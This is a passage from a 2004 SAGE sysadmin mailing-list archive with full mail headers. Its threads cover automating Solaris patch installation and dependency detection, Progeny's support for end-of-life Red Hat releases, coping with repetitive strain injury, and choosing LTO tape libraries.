/*********************************************************************\ ** ** Joe Yao jsdy@tux.org - Joseph S. D. Yao ** \*********************************************************************/ From sage-members-owner@usenix.org Thu Jan 29 15:39:58 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TNdvcH017784 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 15:39:58 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0TNdvcS017783 for sage-members-outgoing; Thu, 29 Jan 2004 15:39:57 -0800 (PST) Received: from yorktown.isdn.uiuc.edu (yorktown.isdn.uiuc.edu [192.17.18.204]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TNdtcG017773 for ; Thu, 29 Jan 2004 15:39:55 -0800 (PST) Received: from yorktown.isdn.uiuc.edu (localhost.localdomain [127.0.0.1]) by yorktown.isdn.uiuc.edu (8.12.10/8.12.10) with ESMTP id i0TNel7q009686 for ; Thu, 29 Jan 2004 17:40:47 -0600 Received: (from roth@localhost) by yorktown.isdn.uiuc.edu (8.12.10/8.12.10/Submit) id i0TNelKw009685 for sage-members@usenix.org; Thu, 29 Jan 2004 17:40:47 -0600 Date: Thu, 29 Jan 2004 17:40:47 -0600 From: "Mark D. Roth" To: SAGE Members Subject: [SAGE] More Sun Patch Idiocy Message-ID: <20040129234047.GA9679@yorktown.isdn.uiuc.edu> References: <20040129055305.GA8532@yorktown.isdn.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Organization: Feep Networks Sender: owner-sage-members@usenix.org Precedence: bulk On Thu Jan 29 10:22 2004 -0600, Doug Hughes wrote: > The client patch program understands how to fetch the snapshots, and > applies patch ordering (using tsort with dependencies included in > the pkginfo), and then applies the patches. One problem we've run into lately is that it's sometimes very difficult to determine whether or not a patch is applicable. Our basicly algorithm has been to check the subdirectories of the patch to see which packages it includes patches for, and to assume that it is applicable if at least one of those packages is installed on the system. This normally works fine, but we've run into a few cases where it doesn't. For example, patch 109077-13 (SunOS 5.8: dhcp server and admin patch) is included in the Recommended and Security cluster for Solaris 8, and it looks like this: -rwxr-xr-x 1 sunpatch sunpatch 76 Oct 11 20:40 .diPatch* -rwxr-xr-x 1 sunpatch sunpatch 12870 Nov 25 12:14 README.109077-13* drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWcsr/ drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWcsu/ drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWdhcm/ drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWdhcsr/ drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWdhcsu/ drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWhea/ -rwxr-xr-x 1 sunpatch sunpatch 425 Oct 11 20:41 patchinfo* -rwxr-xr-x 1 sunpatch sunpatch 507 Oct 11 20:40 prepatch* Obviously, every Solaris box has SUNWcsr and SUNWcsu installed, so autopatch selects this patch for installation. However, this particular patch is only applicable if SUNWj3rt is installed. If you try to install it on a system without SUNWj3rt, the prepatch script fails. Unfortunately, there's no field in the patchinfo file that indicates that SUNWj3rt is required. The only way this requirement is encoded in the package is that the prepatch script checks for it. This means that there's no reasonable way for autopatch to detect the requirement and automatically skip the patch. Right now, we're dealing with this by manually adding patches like this to autopatch's ignore list on a case-by-case basis. However, I would really like to find an automated way to handle this, since we've run into the same problem several times. Has anyone else found a decent way to solve this problem? -- Mark D. Roth http://www.feep.net/~roth/ From sage-members-owner@usenix.org Thu Jan 29 15:50:45 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TNojcH019053 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 15:50:45 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0TNoj5J019052 for sage-members-outgoing; Thu, 29 Jan 2004 15:50:45 -0800 (PST) Received: from Eng.Auburn.EDU (dns.eng.auburn.edu [131.204.10.13]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TNogcG019042 for ; Thu, 29 Jan 2004 15:50:42 -0800 (PST) Received: from goodall.eng.auburn.edu (goodall.eng.auburn.edu [131.204.12.5]) by Eng.Auburn.EDU (8.12.10/8.12.10) with ESMTP id i0TNobkr029201; Thu, 29 Jan 2004 17:50:37 -0600 (CST) Received: from localhost (doug@localhost) by goodall.eng.auburn.edu (8.9.3+Sun/8.6.4) with ESMTP id RAA06554; Thu, 29 Jan 2004 17:50:35 -0600 (CST) X-Authentication-Warning: goodall.eng.auburn.edu: doug owned process doing -bs Date: Thu, 29 Jan 2004 17:50:34 -0600 (CST) From: Doug Hughes To: "Mark D. Roth" cc: SAGE Members Subject: Re: [SAGE] More Sun Patch Idiocy In-Reply-To: <20040129234047.GA9679@yorktown.isdn.uiuc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-26.5 required=5.1 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, REPLY_WITH_QUOTES,USER_AGENT_PINE,X_AUTH_WARNING version=2.52 X-Spam-Checker-Version: SpamAssassin 2.52 (1.174.2.8-2003-03-24-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, 29 Jan 2004, Mark D. Roth wrote: > On Thu Jan 29 10:22 2004 -0600, Doug Hughes wrote: > > The client patch program understands how to fetch the snapshots, and > > applies patch ordering (using tsort with dependencies included in > > the pkginfo), and then applies the patches. > > One problem we've run into lately is that it's sometimes very > difficult to determine whether or not a patch is applicable. Our > basicly algorithm has been to check the subdirectories of the patch to > see which packages it includes patches for, and to assume that it is > applicable if at least one of those packages is installed on the > system. This normally works fine, but we've run into a few cases > where it doesn't. > > For example, patch 109077-13 (SunOS 5.8: dhcp server and admin patch) > is included in the Recommended and Security cluster for Solaris 8, and > it looks like this: > > -rwxr-xr-x 1 sunpatch sunpatch 76 Oct 11 20:40 .diPatch* > -rwxr-xr-x 1 sunpatch sunpatch 12870 Nov 25 12:14 README.109077-13* > drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWcsr/ > drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWcsu/ > drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWdhcm/ > drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWdhcsr/ > drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWdhcsu/ > drwxr-xr-x 4 sunpatch sunpatch 512 Oct 11 20:41 SUNWhea/ > -rwxr-xr-x 1 sunpatch sunpatch 425 Oct 11 20:41 patchinfo* > -rwxr-xr-x 1 sunpatch sunpatch 507 Oct 11 20:40 prepatch* > > Obviously, every Solaris box has SUNWcsr and SUNWcsu installed, so > autopatch selects this patch for installation. However, this > particular patch is only applicable if SUNWj3rt is installed. If you > try to install it on a system without SUNWj3rt, the prepatch script > fails. > > Unfortunately, there's no field in the patchinfo file that indicates > that SUNWj3rt is required. The only way this requirement is encoded > in the package is that the prepatch script checks for it. This means > that there's no reasonable way for autopatch to detect the requirement > and automatically skip the patch. > > Right now, we're dealing with this by manually adding patches like > this to autopatch's ignore list on a case-by-case basis. However, I > would really like to find an automated way to handle this, since we've > run into the same problem several times. > > Has anyone else found a decent way to solve this problem? > I just assume that some patches are going to not install because they don't have all the packages that are needed. It depends how many packages and what profile we use for the machine build. It works out ok since we're expecting that to be the case. It takes longer to run it since it tries to install them. I used to have a version that would check if it already attempted to install a version of a patch and then skip it. The problem with that is if, down the road, you decide to install the package that was missing, then it won't get patched the next time. No answer other than, yeah, it's going to happen and it'll take a bit longer, and I'll live with it. On the plus side, Solaris9 has automatic dependency ordering builtin. From sage-members-owner@usenix.org Thu Jan 29 16:05:39 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U05ccH020277 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 16:05:38 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0U05cR4020276 for sage-members-outgoing; Thu, 29 Jan 2004 16:05:38 -0800 (PST) Received: from merctech.com (ts46-01-qdr759.wlawla.wa.charter.com [66.189.180.247]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U05ZcH020263 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 16:05:36 -0800 (PST) Received: from localhost.localdomain (piquin [127.0.0.1]) by merctech.com (8.12.8/8.12.8) with ESMTP id i0U05Au9023877 for ; Thu, 29 Jan 2004 16:05:11 -0800 Received: from piquin (bergman@localhost) by localhost.localdomain (8.12.8/8.12.8/Submit) with ESMTP id i0U05Agt023873 for ; Thu, 29 Jan 2004 16:05:10 -0800 X-Mailer: exmh version 2.6.3 04/04/2003 with nmh-1.0.4 To: SAGE Members Dcc: From: bergman@merctech.com Subject: [SAGE] using Progeny to maintain EOL Redhat systems? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 Jan 2004 16:05:10 -0800 Message-ID: <23872.1075421110@piquin> Sender: owner-sage-members@usenix.org Precedence: bulk I'm considering their service, and I'd like to hear from anyone who's using Progeny's "Transition Service" to maintain RH Linux 7.3, 8, and 9. I'm particularly interested in hearing if you have found their updates to be timely, accurate, well documented, and without side-effects. See: http://transition.progeny.com/ for a description of the service. Thanks, Mark ---- Mark Bergman From sage-members-owner@usenix.org Thu Jan 29 18:40:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U2eZcH000919 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 18:40:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0U2eYuK000917 for sage-members-outgoing; Thu, 29 Jan 2004 18:40:34 -0800 (PST) Received: from amber.ccs.neu.edu (amber.ccs.neu.edu [129.10.116.51]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U2eWcG000912 for ; Thu, 29 Jan 2004 18:40:33 -0800 (PST) Received: from zubeneschamali.ccs.neu.edu (zubeneschamali.ccs.neu.edu [129.10.117.154]) by amber.ccs.neu.edu (Postfix) with ESMTP id CE603541EC; Thu, 29 Jan 2004 21:40:31 -0500 (EST) Received: from dnb by zubeneschamali.ccs.neu.edu with local (Exim 4.20) id 1AmOa7-0005uJ-O7; Thu, 29 Jan 2004 21:40:31 -0500 Date: Thu, 29 Jan 2004 21:40:31 -0500 From: "David N. Blank-Edelman" To: Joseph S D Yao Cc: sage-members@usenix.org Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) Message-ID: <20040130024031.GF21224@zubeneschamali.ccs.neu.edu> References: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> <20040123042735.GF23747@zubeneschamali.ccs.neu.edu> <20040129180712.G32079@gwyn.tux.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040129180712.G32079@gwyn.tux.org> Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, Jan 29, 2004 at 06:07:12PM -0500, Joseph S D Yao wrote: > This is almost exactly the medical definition of "syndrome". Why does > this make you bitter? Because you had a doctor who did not explain this > to you? Yes, Joe, you're absolutely right. I should have been clearer in that respect. I'm bitter largely because at the time I had to figure out that definition for myself. I had to figure out things like the syndrome's need for self-diagnosis/prescription (perhaps in consultation with the medical folks) by myself. I remember very clearly a visit to the occupational therapist who piled annoying/painful intervention after intervention on to me (icing, splits, exercises, meds, etc) all in the same initial visit. She was the person who said that I would basically stop doing the things that didn't work. When I asked her how I would know which of the remaining things was actually helping, she said "this isn't some kind of study." It was this kind of shallow diagnostic work and prescription that really bothered me. If I couldn't type any more, I was basically facing (if not a total loss) a huge hurdle to overcome to continue in my professional and personal life. The odds felt too great to play fast and loose like this. > Medicine is more of an art than a science! Don't let all the self-proud > MD's tell you otherwise! Absolutely, but it was a hard lesson to learn at the time. I eventually got a doctor who was willing to validate this statement, but by then I was thoroughly disenchanted. I saw precious little art in its practice around this subject. This is why I'm happy to talk with anyone about my experiences so they don't have to learn all of this stuff the hard way. -- dNb P.S. Echoes of past discussions about sysadm work as an art and not a science, no? P.P.S. When Andy Warhol was asked "What is Art?" he responded "Art is a boy's name." From sage-members-owner@usenix.org Thu Jan 29 19:23:20 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U3NJcH003034 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 19:23:20 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0U3NJaQ003033 for sage-members-outgoing; Thu, 29 Jan 2004 19:23:19 -0800 (PST) Received: from yorktown.isdn.uiuc.edu (yorktown.isdn.uiuc.edu [192.17.18.204]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U3NGcG003025 for ; Thu, 29 Jan 2004 19:23:17 -0800 (PST) Received: from yorktown.isdn.uiuc.edu (localhost.localdomain [127.0.0.1]) by yorktown.isdn.uiuc.edu (8.12.10/8.12.10) with ESMTP id i0U3O97q009789 for ; Thu, 29 Jan 2004 21:24:09 -0600 Received: (from roth@localhost) by yorktown.isdn.uiuc.edu (8.12.10/8.12.10/Submit) id i0U3O9cR009788 for sage-members@usenix.org; Thu, 29 Jan 2004 21:24:09 -0600 Date: Thu, 29 Jan 2004 21:24:09 -0600 From: "Mark D. Roth" To: SAGE Members Subject: Re: [SAGE] More Sun Patch Idiocy Message-ID: <20040130032409.GA9776@yorktown.isdn.uiuc.edu> References: <20040129234047.GA9679@yorktown.isdn.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Organization: Feep Networks Sender: owner-sage-members@usenix.org Precedence: bulk On Thu Jan 29 17:50 2004 -0600, Doug Hughes wrote: > I just assume that some patches are going to not install because > they don't have all the packages that are needed. It depends > how many packages and what profile we use for the machine build. > It works out ok since we're expecting that to be the case. It > takes longer to run it since it tries to install them. I used The problem is that there are many reasons that a patch can fail, and we need some automated way to distinguish between a benign failure and a serious failure. Otherwise, we're back to manually installing patches - or at the very least, manually looking over the patch installation output to make sure no corrective action needs to be taken. Either way, that approach doesn't scale very well. The only approach we've been able to think of to deal with this is to check for the different exit codes of patchadd, and have the tool know which values are benign and which are serious. However, there are two problems with this. First, although the different possible exit codes are listed in comments at the top of the patchadd script itself, they are not documented in the man page. This makes me nervous about the possibility that Sun could decide to change them without any real notice. And second, checking the exit codes wouldn't really solve the problem of the Solaris 8 patch I mentioned earlier (109077-13), since that patch uses the prepatch script to check for the prerequisite package. All prepatch script failures cause patchadd to exit with the same exit code, so how do you tell the difference between a serious failure in the prepatch script and a prepatch script that fails because a prerequisite package is not installed? > to have a version that would check if it already attempted to > install a version of a patch and then skip it. The problem with > that is if, down the road, you decide to install the package that > was missing, then it won't get patched the next time. This is a fundamental problem with the Solaris patch scheme to begin with. Let's say that a give patch includes fixes for packages SUNWfoo and SUNWbar, but you only have SUNWfoo installed. You can successfully apply this patch, and "showrev -p" will indicate that the patch is installed. However, if you later install the SUNWbar package, you need to re-apply the patch, since the first application only installed the SUNWfoo fixes. But since "showrev -p" (or a direct check of /var/sadm/patch) will indicate that the patch has already been installed, there's no reasonable way to know that the patch is needed again. Like I said before, I really wish they'd switch to a patching scheme where each patch fixes one and only one package, just like every other vendor. > No answer other than, yeah, it's going to happen and it'll take > a bit longer, and I'll live with it. That seems to be a common theme when dealing with Solaris... ;/ > On the plus side, Solaris9 has automatic dependency ordering builtin. Oh? This is the first I've heard of this. Can you point me at any docs describing what changed? -- Mark D. Roth http://www.feep.net/~roth/ From sage-members-owner@usenix.org Thu Jan 29 19:52:04 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U3q4cH004588 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 19:52:04 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0U3q4R6004587 for sage-members-outgoing; Thu, 29 Jan 2004 19:52:04 -0800 (PST) Received: from Eng.Auburn.EDU (dns.eng.auburn.edu [131.204.10.13]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U3q1cG004582 for ; Thu, 29 Jan 2004 19:52:02 -0800 (PST) Received: from goodall.eng.auburn.edu (goodall.eng.auburn.edu [131.204.12.5]) by Eng.Auburn.EDU (8.12.10/8.12.10) with ESMTP id i0U3pnkr022027; Thu, 29 Jan 2004 21:51:49 -0600 (CST) Received: from localhost (doug@localhost) by goodall.eng.auburn.edu (8.9.3+Sun/8.6.4) with ESMTP id VAA06861; Thu, 29 Jan 2004 21:51:47 -0600 (CST) X-Authentication-Warning: goodall.eng.auburn.edu: doug owned process doing -bs Date: Thu, 29 Jan 2004 21:51:47 -0600 (CST) From: Doug Hughes To: "Mark D. Roth" cc: SAGE Members Subject: Re: [SAGE] More Sun Patch Idiocy In-Reply-To: <20040130032409.GA9776@yorktown.isdn.uiuc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-27.1 required=5.1 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,REPLY_WITH_QUOTES,USER_AGENT_PINE, X_AUTH_WARNING version=2.52 X-Spam-Checker-Version: SpamAssassin 2.52 (1.174.2.8-2003-03-24-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, 29 Jan 2004, Mark D. Roth wrote: > On Thu Jan 29 17:50 2004 -0600, Doug Hughes wrote: > > I just assume that some patches are going to not install because > > they don't have all the packages that are needed. It depends > > how many packages and what profile we use for the machine build. > > It works out ok since we're expecting that to be the case. It > > takes longer to run it since it tries to install them. I used > > The problem is that there are many reasons that a patch can fail, and > we need some automated way to distinguish between a benign failure and > a serious failure. Otherwise, we're back to manually installing > patches - or at the very least, manually looking over the patch > installation output to make sure no corrective action needs to be > taken. Either way, that approach doesn't scale very well. > > The only approach we've been able to think of to deal with this is to > check for the different exit codes of patchadd, and have the tool know > which values are benign and which are serious. However, there are two > problems with this. > yup > First, although the different possible exit codes are listed in > comments at the top of the patchadd script itself, they are not > documented in the man page. This makes me nervous about the > possibility that Sun could decide to change them without any real > notice. > possibly, but not within an OS major release I'd guess. They're thankfully fairly rigid about changing things like exit codes. > And second, checking the exit codes wouldn't really solve the problem > of the Solaris 8 patch I mentioned earlier (109077-13), since that > patch uses the prepatch script to check for the prerequisite package. > All prepatch script failures cause patchadd to exit with the same exit > code, so how do you tell the difference between a serious failure in > the prepatch script and a prepatch script that fails because a > prerequisite package is not installed? > That's an insidious issue. Thankfully it doesn't crop up too often. (I can't remember the last time I had a serious issue with prepatch, thankfully). > > > to have a version that would check if it already attempted to > > install a version of a patch and then skip it. The problem with > > that is if, down the road, you decide to install the package that > > was missing, then it won't get patched the next time. > > This is a fundamental problem with the Solaris patch scheme to begin > with. Let's say that a give patch includes fixes for packages SUNWfoo > and SUNWbar, but you only have SUNWfoo installed. You can > successfully apply this patch, and "showrev -p" will indicate that the > patch is installed. However, if you later install the SUNWbar > package, you need to re-apply the patch, since the first application > only installed the SUNWfoo fixes. But since "showrev -p" (or a direct > check of /var/sadm/patch) will indicate that the patch has already > been installed, there's no reasonable way to know that the patch is > needed again. > > Like I said before, I really wish they'd switch to a patching scheme > where each patch fixes one and only one package, just like every other > vendor. > It would considerably simplify life for us. I bet it would make regression testing for them much harder and that's why they don't do it. It's easier to bundle a whole bunch of things together in one patch and label it production ready and well tested and integrated (consider the whole RBAC thing which touches on many pieces, or consider the accounting changes involved with the projects stuff (probably a bad example since that involves *many* separate patches itself)) I'm not trying to defend it, but perhaps there is some plausible reasonable (or long since forgotten) explanation. > > > No answer other than, yeah, it's going to happen and it'll take > > a bit longer, and I'll live with it. > > That seems to be a common theme when dealing with Solaris... ;/ > > > > On the plus side, Solaris9 has automatic dependency ordering builtin. > > Oh? This is the first I've heard of this. Can you point me at any > docs describing what changed? > I've been too overwhelmed to venture too far into Solaris9 just yet. But here's a blurb from the "what's new in Solaris 9": "Solaris Patch Manager offers the most comprehensive patch management features for the Solaris Operating System. Administrators now can analyze the patch state of a system and automatically download the recommended patches. They are provided with the install order necessary to accommodate patch dependencies, and can use the tools on local and remote systems. All patches delivered via Solaris Patch Manager are digitally signed, helping ensure that the patches are from Sun and have not been altered in transmission." so, it's a step in the right direction, or perhaps something more to be frustrated with. I reserve judgement for now other than to say it sounds good in theory. :) (you can actually download it from sun for 2.6 through 8, but it comes integrated with 9) http://www.sun.com/service/support/sw_only/patchmanager.html I have heard anecdotal reports that it has its own issues. Since we've had our own system for a few years that works pretty well, I haven't bothered.. yet. Doug From sage-members-owner@usenix.org Thu Jan 29 20:13:28 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U4DScH005871 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 20:13:28 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0U4DRjf005870 for sage-members-outgoing; Thu, 29 Jan 2004 20:13:27 -0800 (PST) Received: from yorktown.isdn.uiuc.edu (yorktown.isdn.uiuc.edu [192.17.18.204]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U4DMcG005848 for ; Thu, 29 Jan 2004 20:13:26 -0800 (PST) Received: from yorktown.isdn.uiuc.edu (localhost.localdomain [127.0.0.1]) by yorktown.isdn.uiuc.edu (8.12.10/8.12.10) with ESMTP id i0U4EE7q009898 for ; Thu, 29 Jan 2004 22:14:14 -0600 Received: (from roth@localhost) by yorktown.isdn.uiuc.edu (8.12.10/8.12.10/Submit) id i0U4EETi009897 for sage-members@usenix.org; Thu, 29 Jan 2004 22:14:14 -0600 Date: Thu, 29 Jan 2004 22:14:14 -0600 From: "Mark D. Roth" To: SAGE Members Subject: Re: [SAGE] More Sun Patch Idiocy Message-ID: <20040130041414.GA9890@yorktown.isdn.uiuc.edu> References: <20040130032409.GA9776@yorktown.isdn.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Organization: Feep Networks Sender: owner-sage-members@usenix.org Precedence: bulk On Thu Jan 29 21:51 2004 -0600, Doug Hughes wrote: > On Thu, 29 Jan 2004, Mark D. Roth wrote: > > And second, checking the exit codes wouldn't really solve the problem > > of the Solaris 8 patch I mentioned earlier (109077-13), since that > > patch uses the prepatch script to check for the prerequisite package. > > All prepatch script failures cause patchadd to exit with the same exit > > code, so how do you tell the difference between a serious failure in > > the prepatch script and a prepatch script that fails because a > > prerequisite package is not installed? > > > That's an insidious issue. Thankfully it doesn't crop up too often. > (I can't remember the last time I had a serious issue with prepatch, > thankfully). Oh, so you just assume that any prepatch failure is a benign prerequisite failure? > I've been too overwhelmed to venture too far into Solaris9 just yet. > But here's a blurb from the "what's new in Solaris 9": [...stuff about Sun Patch Manager...] > http://www.sun.com/service/support/sw_only/patchmanager.html Based on the docs on that page, it looks pretty limited to me... -- Mark D. Roth http://www.feep.net/~roth/ From sage-members-owner@usenix.org Fri Jan 30 01:59:59 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U9xwcH021190 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 01:59:58 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0U9xwwc021189 for sage-members-outgoing; Fri, 30 Jan 2004 01:59:58 -0800 (PST) Received: from RIJPAT-S-325.europe.shell.com ([145.26.111.102]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0U9xrcG021183 for ; Fri, 30 Jan 2004 01:59:54 -0800 (PST) Received: from mail pickup service by RIJPAT-S-325.europe.shell.com with Microsoft SMTPSVC; Fri, 30 Jan 2004 10:58:12 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 28 Jan 2004 18:14:44 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SHCpcH008289 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 28 Jan 2004 09:12:51 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0SHCo7H008284; Wed, 28 Jan 2004 09:12:50 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Wed, 28 Jan 2004 09:12:13 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SHCCcH007981 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 09:12:12 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SHCCPP007980 for sage-members-outgoing; Wed, 28 Jan 2004 09:12:12 -0800 (PST) Received: from mdahub.mda.ca (mdahub.mda.ca [142.73.130.152]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SHCAcG007956 for ; Wed, 28 Jan 2004 09:12:10 -0800 (PST) Received: from MSXYVR0.mda.ca (msxyvr0 [142.73.131.32]) by mdahub.mda.ca (8.11.4/8.11.4) with ESMTP id i0SHC8W02456 for ; Wed, 28 Jan 2004 09:12:08 -0800 (PST) Received: by msxyvr0.mda.ca with Internet Mail Service (5.5.2657.72) id ; Wed, 28 Jan 2004 09:12:08 -0800 Message-ID: <58C5D4E55163A048BB1D5A8C440F243CD7A947@msxyvr3.mda.ca> From: John LLOYD To: sage-members@usenix.org Subject: RE: [SAGE] Tape Libraries Date: Wed, 28 Jan 2004 09:12:07 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-OriginalArrivalTime: 28 Jan 2004 17:14:44.0437 (UTC) FILETIME=[394E8850:01C3E5C2] Sender: owner-sage-members@usenix.org Precedence: bulk LTO tape drives are much more reliable than DLT in our experience. But be aware that not all LTO drives are equal if you are using fibre channel. And one or two makes don't support variable speed writing; sorry don't remember which is what. This could be an issue if your data source speed is variable. If it can't keep up at 15MB/s the drive slides back to much much less. We've used Storagetek bigger libs (500 slots and up) and ADIC; we have seen no issues with either, other than the usual sourcing advice which is "buy your tape library from a tape library vendor, not a so-called major computer vendor". STK may turn out to be expensive but should provide excellent service; their mechanicals are the same/similar throughout their line. One other hint--if you plan to add or remove tapes often, like weekly, look into the ease of use of changing tapes and the mechanical sturdiness of the input-output mechanism. Some robots are not really suited to media switching. We have some Sun "L20"s (no relation) which have the cheap plastic doors and lack of mechanical guides. I cringe every time we swap tapes---daily, no less. This is for offsite backup copies; mgt won't spring for an outboard drive. --John > -----Original Message----- > From: Mike Noble [mailto:mnoble@rfmagic.com] > Sent: January 27, 2004 6:08 PM > To: sage-members@usenix.org > Subject: [SAGE] Tape Libraries > > > I am looking at getting a new tape library. Currently looking at the > following: > > ADIC Scalar 24 > or > StorageTek L20 > > If any body is familiar with both units, I would be > interested in what > you thing about both. > > If you are using either one, I would be interested in what > your thoughts > (likes/dislikes) about > the unit you are using. > > Thanks, > Mike > > > From sage-members-owner@usenix.org Fri Jan 30 03:02:16 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UB2FcH008194 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 03:02:16 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UB2FPi008193 for sage-members-outgoing; Fri, 30 Jan 2004 03:02:15 -0800 (PST) Received: from gate.dab.com ([194.15.145.23]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UB2CcG008183 for ; Fri, 30 Jan 2004 03:02:13 -0800 (PST) Received: (from uucp@localhost) by gate.dab.com (8.8.8/8.8.8) id MAA10934 for ; Fri, 30 Jan 2004 12:02:11 +0100 (MET) Received: from fw-inhouse-lan(172.30.14.4), claiming to be "fw-inhouse-3" via SMTP by fw-inhouse-lan, id smtpdAAApIaqvv; Fri Jan 30 12:01:43 2004 Received: from tinkywinky.rtfs.de (krabbtop.int.diraba.de [172.30.22.59]) by dab-ms01.int.diraba.de with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id ZM7D4LG1; Fri, 30 Jan 2004 12:01:44 +0100 Received: from tinkywinky.rtfs.de (bb@localhost [127.0.0.1]) by 